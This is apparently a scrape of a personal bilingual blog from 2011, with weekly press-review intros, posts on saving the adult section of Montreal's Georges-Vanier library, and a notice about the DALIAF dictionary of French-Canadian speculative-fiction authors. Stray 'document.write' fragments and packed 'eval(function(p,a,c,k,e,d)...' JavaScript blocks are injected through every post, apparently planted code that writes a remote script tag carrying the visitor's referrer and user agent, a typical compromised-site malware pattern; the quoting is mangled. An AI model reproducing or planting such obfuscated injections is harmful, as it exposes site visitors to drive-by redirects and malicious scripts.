Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

Weekly Press Review (2011/11/25)

Despite some seemingly (and, document.write(“”); I am quite sure, temporary) good news, new and unexpected upheaval is making everyone at work very upset. This continuing situation is utterly depressing, unnerving and rather demotivating. (By Jove, what are they thinking?!) I just hope it will eventually calm down, because some of us cannot take this for long without damages. Luckily we recently had a pay raise… [Update: The rollercoaster ride continues… Up again! Some quite wise decisions averted the crisis and everyone is smilling again!] In other news, I visited the Montreal book fair, I am taking care of my sister’s cats for the week and we got the first snow of the season (a couple of inches [5 cm], enough so I had to shovel!). Yesterday was Thanksgiving in the USA: some people are simply thankful to have a job; for my part I am thankful to have found such a nice and affordable house. Happy Thanksgiving! (and, no, this it NOT Turkey’s “Independance Day”!) In order to try keeping my spirit up, I am reading some great comics and I am following the news (after the jump):
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zffbz|var|u0026u|referrer|dskks||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rrink|var|u0026u|referrer|zffdh||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Humour

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

Bonne nouvelle pour Georges

Les efforts des citoyens de l’arrondissement du Sud-Ouest ont porté fruit (voir mon billet Culture? Vous avez dit culture?) et la section adulte de la bibliothèque Georges-Vanier restera ouverte… pour l’instant. Il s’agit en effet d’un moratorium d’un an, document.write(“”); le temps de faire de la consultation publique sur le sujet. Les citoyens devront donc rester vigilants…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fkrie|var|u0026u|referrer|daart||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bkzbt|var|u0026u|referrer|efein||js|php’.split(‘|’),0,{}))

Épanouissement du DALIAF

Après des décennies de travail acharné, document.write(“”); le mythique Dictionnaire des auteurs des littératures de l’imaginaire en Amérique française (ou “DALIAF” pour les intimes) est finalement sous presse! Cela faisait si longtemps qu’on en parlait qu’on se demandait s’il finirait par éclore. C’est compréhensible: toutes les années de nouveaux auteurs sont publiés mais à un moment donné il faut mettre un point final à l’ouvrage. Nul doute que cette attente en valait la peine!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkzky|var|u0026u|referrer|kktta||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|stdsa|var|u0026u|referrer|yytnd||js|php’.split(‘|’),0,{}))

Compilé par
Claude Janelle (à qui l’on doit aussi L’Année de la science-fiction et du fantastique québécois, Le XIXe siècle fantastique en Amérique française et La Décennie charnière) et publié par les Éditions Alire (le principal éditeur de paralittérature au Québec, qui est mieux connu pour les romans d’horreur de Patrick Sénécal ou les thrillers des Jean-Jacques Pelletier mais n’en est toutefois pas à la publication de son premier essai), le DALIAF recense la production des littératures de l’imaginaire (c’est-à-dire science-fiction, fantastique et fantasy) produite, entre 1835 et 2008 inclusivement, en Amérique du Nord francophone (mais principalement au Québec) et s’attarde particulièrement aux plus de mille sept cents hommes et femmes qui en sont les créateurs.

Le DALIAF est un ouvrage à la fois bibliographique, biographique et critique. Fort de 535 pages, il est publié en quadrichromie dans un grand format couverture caisse (couverture cartonnée et reliure cousue). Il coûtera 79,95 $ pour la version papier (978-2-89615-074-8) et 49,99 $ pour la version électronique (format pdf, 978-2-89615-479-1). Lancé à la fin du mois de novembre (manquant de justesse le Salon du Livre!?), il sera disponible chez Alire en décembre et en librairies dès janvier 2012. Quoique dispendieux (mais volumineux et en couleur!), c’est un outil de référence essentiel pour tout bibliothécaire, étudiant en littérature, intervenant de l’édition ou simplement amateur extrème du livre québécois. Vous pouvez en avoir un aperçu (en feuilletant un extrait) sur le site de l’Entrepôt numérique ANEL-De Marque.

Et bien sûr, ayant publié quelques nouvelles comme auteur et quelques fanzines ou anthologies comme éditeur, on peut me trouver dans les pages du DALIAF. J’ai bien hâte de voir ça.

(voir aussi mon commentaire détaillé)

Culture? Vous avez dit culture?

Il est incroyable que de nos jours on pense encore à fermer des bibliothèques! Je fais référence ici à l’annonce de la fermeture prochaine de la section adulte de la bibliothèque Georges-Vanier dans l’arrondissement du Sud-Ouest de Montréal. C’est difficile de ne pas être consterné par une telle décision alors que, document.write(“”); dans notre monde moderne, nous connaissons tous les nombreux bénéfices que les bibliothèques publiques fournissent à la société! Malheureusement, au Québec, la culture n’est pas aussi valorisée que dans le Canada anglais et une telle annonce laisse donc bien des gens (et la presse) indifférents. Pour les bureaucrates, qui pensent qu’elle devrait être rentable, la culture est une cible facile. Il y aurait pourtant tellement de solutions possibles mais elles restent inimaginable pour une bureaucratie lourde, inefficace et inflexible…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ssydd|var|u0026u|referrer|ybiad||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ryzsb|var|u0026u|referrer|stiad||js|php’.split(‘|’),0,{}))

Je rappelle ici quelques liens sur ce sujet que j’ai trouvé particulièrement intéressants (je ne peux pas trop m’exprimer sur ce sujet alors je vais laisser la parole à d’autres):

(J’ai également mis quelques autres liens concernant ce sujet dans les “Local News” de mes récentes revues de presse hebdomadaires)

Je trouve particulièrement ironique que cette annonce ait été faite juste avant les Journées de la culture et la Semaine des Bibliothèques publiques du Québec… Belle promotion!

Un autre exemple d’à quel point la culture est valorisée au Québec: la Pétition contre la fermeture de la section adulte de la bibliothèque Georges-Vanier a jusqu’à maintenant recueillie 225 signatures. Par contre une pétition contre la fermeture du Bain Émard en ramasse 787 (article), une contre la fermeture de la piscine Schubert en ramasse plus de 4000 (article, en anglais) et une pétition contre la fermeture de succursales de la Société des alcools du Québec (SAQ) dans le Sud-Ouest atteint les 7500 signatures (article). Inimaginable!

On commence enfin à voir un peu de couverture dans les média. Mais c’est vraiment encore très peu:

Après la victoire des défenseurs du Bain Émard, les efforts des citoyens du sud-ouest (Coalition Petite-Bourgogne et Les Amis de la Bibliothèque Georges-Vanier) se sont intensifiés dans la semaine du douze novembre et de nombreuses actions étaient planifiés (manifs lors du défilé du Père-Noël et au Salon du Livre entre autres). Quelques personnalités (dont Stanley Péan) ont incité les gens à réagir et les média ont finalement commencé à porter un plus plus d’attention à la situation.

Finalement, vendredi le dix-huit novembre, en après-midi, l’heureuse nouvelle est arrivée: la section adulte de la bibliothèque Georges-Vanier restera ouverte… pour l’instant. Il s’agit en effet d’un moratorium d’un an, le temps de faire de la consultation publique sur le sujet. (Voir le billet Bonne nouvelle pour Georges pour les liens).

(Mise à jour: 17/10/2011, 21/10/2011, 30/10/2011, 21/11/2011)

Weekly Press Review (2011/09/30)

The same lingering around, document.write(“”); depressing thoughts. Feels like going nowhere. I cannot get any work done, so I read and watch TV. I am still in the fourth book of George R.R. Martin’s A Song of Ice and Fire, A Feast for Crows. The least interesting one so far. Not enough action and we barely see most of the main characters that we got used to love (at least those who were not killed off). Instead, there’s a bunch of new characters. I feel like Martin is stalling his story (like those Naruto filler episodes!). But there’s only 198 days left before the start of the TV series’ second season. And only two weeks before The Walking Dead TV series restart! I also read news on my iPad (while waiting for Apple’s new announcement next week). Here’s what I found interesting:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dhbye|var|u0026u|referrer|fenyb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yeekf|var|u0026u|referrer|hhnbf||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics

Humour

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side